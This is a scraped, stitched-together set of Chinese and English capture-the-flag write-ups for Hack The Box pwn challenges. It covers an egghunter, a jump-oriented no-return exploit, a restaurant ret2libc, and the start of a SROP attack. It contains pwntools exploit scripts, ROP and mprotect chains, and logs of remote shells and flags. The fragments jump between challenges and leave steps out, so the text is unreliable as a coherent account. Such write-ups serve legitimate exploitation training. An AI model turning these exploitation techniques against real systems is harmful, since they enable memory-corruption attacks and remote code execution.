EAX = 11 (or 0x0B in hex) – The execve syscall number EBX = Address in memory of the string “/bin/sh” ECX = Address of a pointer to the string “/bin/sh” EDX = Null (可选的指向描述环境的结构的指针)
writable_memory=0x0804a010 # .bss section is writable padding = " "# we'll use spaces as padding text = "A shell\n\n\n"# Flavor text EBPoverwrite = "AAAA"# Bytes to overwrite EBP
root@kali:~# python exploit.py > exploit root@kali:~# (cat exploit; cat) | ./binary_challenge Show me what you’ve got :>You’ve got: A shell AAAA%�/bin+� id uid=0(root) gid=0(root) groups=0(root)
┌──(root💀kali)-[~/hackthebox/challenge/pwn/Hunting] └─# python getflag.py [+] Opening connection to 178.128.161.75 on port 32045: Done HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?} [*] Closed connection to 178.128.161.75 port 32045
详细过程及exp - 2
1. Basic checks:
1 2 3 4 5 6 7 8 9 10 11 12
┌──(root💀kali)-[~/hackthebox/challenge/pwn/Hunting] └─# file hunting hunting: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=2df7efc7d5a8a8e75a178f568bb114902c6955fd, for GNU/Linux 3.2.0, stripped ┌──(root💀kali)-[~/hackthebox/challenge/pwn/Hunting] └─# checksec hunting [*] '/root/hackthebox/challenge/pwn/Hunting/hunting' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: PIE enabled RWX: Has RWX segments
2. General overview:
Since there is NX bit disabled, shellcode can be executed from the stack.
Run the binary using pwntools with attached GDB and send a unique 100B long string using cyclic.
check.py
1 2 3 4 5 6 7 8 9 10 11
from pwn import * import time
p = process("./hunting") context.log_level = "debug" gdb.attach(p,"c")
p.sendline(cyclic(100)) p.recv()
p.interactive()
Check the length of the value from EIP register.
First, 4 bytes were executed immediately, so there is a total of 60B of space available to store a shellcode.
3. Disassemble binary and spot the foothold:
(1) First line of main() generate a random number between 0x5fffffff and 0xf7000000 using /dev/urandom that will be used as an address for flag copied via strcpy()
(2) Then SIGALRMsignal is set to exit() after 3 seconds
A process can request a “wake up call” from the operating system at some time in the future by calling the alarm() function. When that time comes round the wake-up call consists of this signal.
(3) mmap() creates a new mapping in the virtual address space of the calling process. The starting address for the new mapping is specified in eax which was generated in (1) first-line by sub_12e8().
(4) strcpy() copy the flag to the (1)randomly generated and (3)mapped memory space.
(5) memset() sets the first num bytes of the block of memory pointed by ptr to the specified value - in this case, zeroes previous memory space which contains the flag value.
Then 60B is (6)allocated on the heap by malloc() and read from the user input(7).
The conclusion from the above analysis is that the flag is allocated somewhere in the process memory and starts with “HTB{“ bytes.
In order to find it, you can use a technique called egg hunting.
There are 60 bytes of total space for shellcode.
Egghunter got only 3 seconds to find the egg.
4. Prepare the egg hunter:
To delay the exit() after 3 seconds, alarm syscall will be used.
To find the egg, access syscall will be used.
To display the flag write syscall will be used.
First, extend the time using alarm syscall.
Then find the “HTB{“ egg using access syscall.
Finally, display the 24 bytes followed by the “HTB{“ EGG to the STDOUT using write syscall.
Use the below script to assemble, link, and extract the opcodes.
┌──(root💀kali)-[~/hackthebox/challenge/pwn/Hunting] └─# python pwnexp.py [+] Opening connection to 188.166.173.208 on port 31589: Done [*] Switching to interactive mode HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H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n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}$ [*] Interrupted HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}[*] Closed connection to 188.166.173.208 port 31589
EAX - 0x7B – sys_mprotect syscall number EBX - Address of Memory to change (必须与页面边界对齐) ECX - Length of memory to change EDX - Mask of new permissions (READ|WRITE|EXECUTE is 0x07)
buffer += address(pop_eax) # place value into EAX buffer += littleendian(0x0000007D) # MProtect syscall number buffer += address(pop_ebx) # place value into EBX buffer += address(target_memory) # 0xFFFDD000 buffer += address(pop_ecx) # place value into ECX buffer += littleendian(0x00021000) # Length of memory to change buffer += address(pop_edx) buffer += littleendian(0x00000007) # PROT_READ|PROT_WRITE|PROT_EXEC buffer += address(execute_syscall)
(gdb) run < exploit Starting program: /root/binary_challenge < exploit Show me what you've got :>You've got: XXXX%�}process 3077 is executing new program: /bin/dash # id uid=0(root) gid=0(root) groups=0(root
虽然它可以工作,但它依赖于硬编码的堆栈地址和NOP,所以并不是很好。
方法二
可以使用另一个write原语将shellcode写入程序内存中的某个位置,而不是将shellcode写入堆栈。 已经在.bss部分中找到了一个很好的候选位置,因此可以将target_memory变量设置为堆内存的起始位置0x0804A000。 现在必须决定如何开始写。 最简单(也是最低效)的方法是使用从pop eax; pop edx; mov eax (edx)中构建的write-what-where原语gadget在我们的第一个exploit。
0x401000: pop rsp 0x401001: pop rdi 0x401002: pop rsi 0x401003: pop rbp 0x401004: pop rdx 0x401005: pop rcx 0x401006: pop rbx 0x401007: xor rax,rax 0x40100a: jmp QWORD PTR [rdi+1]
如果在buffer的dispatch表之前使rbx 8和rbx point 8字节,以下会是很好的dispatcher gadget:
1 2 3
0x40103c: add rbp,rbx 0x40103f: fwait 0x401040: jmp QWORD PTR [rbp-0x39]
p = remote('167.99.86.47', int(sys.argv[1])) #p = process('./no-return') #context.log_level = 'debug'
#for debugging, attach when prompt for read, and then just hit step stackleak = u64(p.recv(8)) log.info("Stack leak:" + hex(stackleak)) bufferbase = stackleak - 0xb0
payload = (p64(0x40103c) + p64(bufferbase-0x8-0x1) #rdi + p64(0) #rsi + p64(bufferbase+0x30+0x8+0x39) #rbp, remember to adjust to dispatch table, will do later, and make it 0x8 lower because of the add instruction + p64(bufferbase-0x8) #rdx + p64(bufferbase-0x8) #rcx + p64(0x8) #rbx, so it becomes good incrementation for dispatch table + "/bin/sh\x00" + p64(59) #rsp will point there, two pops until rdx, so that will be good + p64(0x401067) #dispatch to xchg gadget for rdi and rcx + p64(0x40101c) #mov rsp address to rcx + p64(0x401067) #restore dispatcher to rcx, mov /bin/sh to rdi + p64(0x40104c) #set rdx to 59 + p64(0x40105a) #rdx to null, rax to rdx old rdi value, which is 59 + p64(0x401099) #syscall + '').ljust(0xb0, 'A') + p64(0x401000) + p64(bufferbase) p.sendline(payload) p.interactive()
运行脚本获取flag:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
┌──(root💀kali)-[~/hackthebox/challenge/pwn/noreturn] └─# python getshell.py 32664 [+] Opening connection to 178.62.0.100 on port 32664: Done [*] Stack leak:0x7ffdebc61b20 [*] Switching to interactive mode $ id uid=999(ctf) gid=999(ctf) groups=999(ctf) $ whoami ctf $ ls 11a866b981670122c056ee96ebb0796910a7495dc3ee2368fd127626af9e1b16-flag.txt no-return run_challenge.sh $ cat 11a866b981670122c056ee96ebb0796910a7495dc3ee2368fd127626af9e1b16-flag.txt HTB{y0uv3_35c4p3d_7h3_v01d_0f_n0_r37urn}
┌──(root💀kali)-[~/hackthebox/challenge/pwn/pwn_restaurant] └─# python getshell.py [+] Opening connection to 46.101.5.30 on port 32022: Done puts_g address: 0x7fb82ace4aa0 libc address: 0x7fb82ac64000 oneshot address: 0x7fb82acb3432
[+] Successfully Got The shell: [*] Switching to interactive mode
Enjoy your BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB Enjoy your CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC24�*\xb8\x7f$ $ id uid=999(ctf) gid=999(ctf) groups=999(ctf) $ whoami ctf $ ls flag.txt libc.so.6 restaurant run_challenge.sh $ cat flag.txt HTB{r3turn_2_th3_r3st4ur4nt!}
详细过程及exp - 2
1. Basic checks:
1 2 3 4 5 6 7 8 9 10 11
┌──(root💀kali)-[~/hackthebox/challenge/pwn/pwn_restaurant] └─# file restaurant restaurant: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=34d48877c9e228a7bc7b66b34f0d4fa6353d20b4, not stripped ┌──(root💀kali)-[~/hackthebox/challenge/pwn/pwn_restaurant] └─# checksec restaurant [*] '/root/hackthebox/challenge/pwn/pwn_restaurant/restaurant' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
2. Run binary in GDB chose the first option and input 44B of data:
One thing to notice, data cannot be bigger than 44B, because it will overwrite the RSP register, thus breaking the stack frame.
Although this gives the ability to take control of only the first 4 bytes of the RIP register, which is not enough to spawn the shell since NX bit is enabled
First phase exploit.py
1 2 3 4 5 6 7 8 9 10 11
from pwn import *
p = process("./restaurant") gdb.attach(p,'''c ''') p.sendline("1") p.recv() p.sendline("aaaabaaacaaadaaaeaaafaaagaaahaaaiaaaAAAABBBB") p.recv()
p.interactive()
3. Control full 8 Byte return address:
As being said if data is bigger than 44B it breaks the stack frame by overwriting the RSP register and after the RET instruction, binary crash.
(1) There are some trash bytes in the RSP register.
In order to get rid of them, use the \x00 (null byte) at the end of the input and (2) RET instruction will follow the instruction from RSP register.
Chose an instruction to follow from the binary f.e. 0x0000000000400f75 which is in fact <+13>: call 0x400dfd in main()
Set a breakpoint at this address and send the payload
4. ASLR bypass:
ASLR does not affect the base address of the restaurant binary.
The libc library used on the target machine was made available in the challenge package. To calculate the base libc address, it will be needed to be leaked puts() address from libc during binary execution and its dynamic symbol address from libc before execution.
1 2 3 4 5 6 7 8 9
┌──(root💀kali)-[~/hackthebox/challenge/pwn/pwn_restaurant] └─# objdump -T libc.so.6 | grep puts 0000000000080aa0 g DF .text 0000000000000200 GLIBC_2.2.5 _IO_puts 0000000000080aa0 w DF .text 0000000000000200 GLIBC_2.2.5 puts 0000000000126550 g DF .text 00000000000004d8 GLIBC_2.2.5 putspent 0000000000128460 g DF .text 00000000000002ee GLIBC_2.10 putsgent 000000000007f2d0 w DF .text 000000000000018c GLIBC_2.2.5 fputs 000000000007f2d0 g DF .text 000000000000018c GLIBC_2.2.5 _IO_fputs 000000000008a710 w DF .text 000000000000008f GLIBC_2.2.5 fputs_unlocked
There is a possibility to redirect the execution to puts() (which is not affected by ASLR) and leak the puts_got address from libc after randomization, thus bypassing ASLR security.
5. NX bit bypass:
Since there is NX bit enabled, shellcode on stack won’t work, but there is libc delivered with the restaurant binary which can be used for the ROP gadget# or one_gadget as described in the PWN Format challenge - HTB.
┌──(root💀kali)-[~/hackthebox/challenge/pwn/pwn_restaurant] └─# python pwnexp.py [*] '/root/hackthebox/challenge/pwn/pwn_restaurant/restaurant' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to 188.166.173.208 on port 31974: Done [*] '/root/hackthebox/challenge/pwn/pwn_restaurant/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
┌──(root💀kali)-[~/hackthebox/challenge/pwn/sickrop] └─# checksec sick_rop [*] '/root/hackthebox/challenge/pwn/sickrop/sick_rop' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
┌──(root💀kali)-[~/hackthebox/challenge/pwn/sickrop] └─# python getshell.py [+] Opening connection to 178.128.175.172 on port 32672: Done [*] Switching to interactive mode $ id uid=999(ctf) gid=999(ctf) groups=999(ctf) $ whoami ctf $ ls flag.txt run_challenge.sh sick_rop $ cat flag.txt HTB{why_st0p_wh3n_y0u_cAn_s1GRoP!?}
详细过程及exp - 2
1. Basic checks:
1 2 3 4 5 6 7 8 9 10 11
┌──(root💀kali)-[~/hackthebox/challenge/pwn/sickrop] └─# file sick_rop sick_rop: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped ┌──(root💀kali)-[~/hackthebox/challenge/pwn/sickrop] └─# checksec sick_rop [*] '/root/hackthebox/challenge/pwn/sickrop/sick_rop' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
2. General overview:
The binary exploitation is straightforward, there is NX bit enabled and it is statically linked. Additionally, the name of the binary reveals what the problem will be to solve.
In this scenario, I was unable to call the execve() function using the available ROP gadgets.
However, there is a technique called SROP which solves the problem.
SROP — Sigreturn Oriented Programming requires 2 Gadgets, the ability to write 300 B to the stack and the ability to control the Instruction Pointer. The required gadgets are a sigreturn and a syscall return gadget. In older Linux Kernels these are often already available at a fixed address.
To use this technique, two specific gadgets will be needed:
a sigreturn syscall gadget eax=0xf; syscall
a syscall return gadget syscall; ret
In order to call sigreturn() , you have to utilize the fact that you can control the RAX register.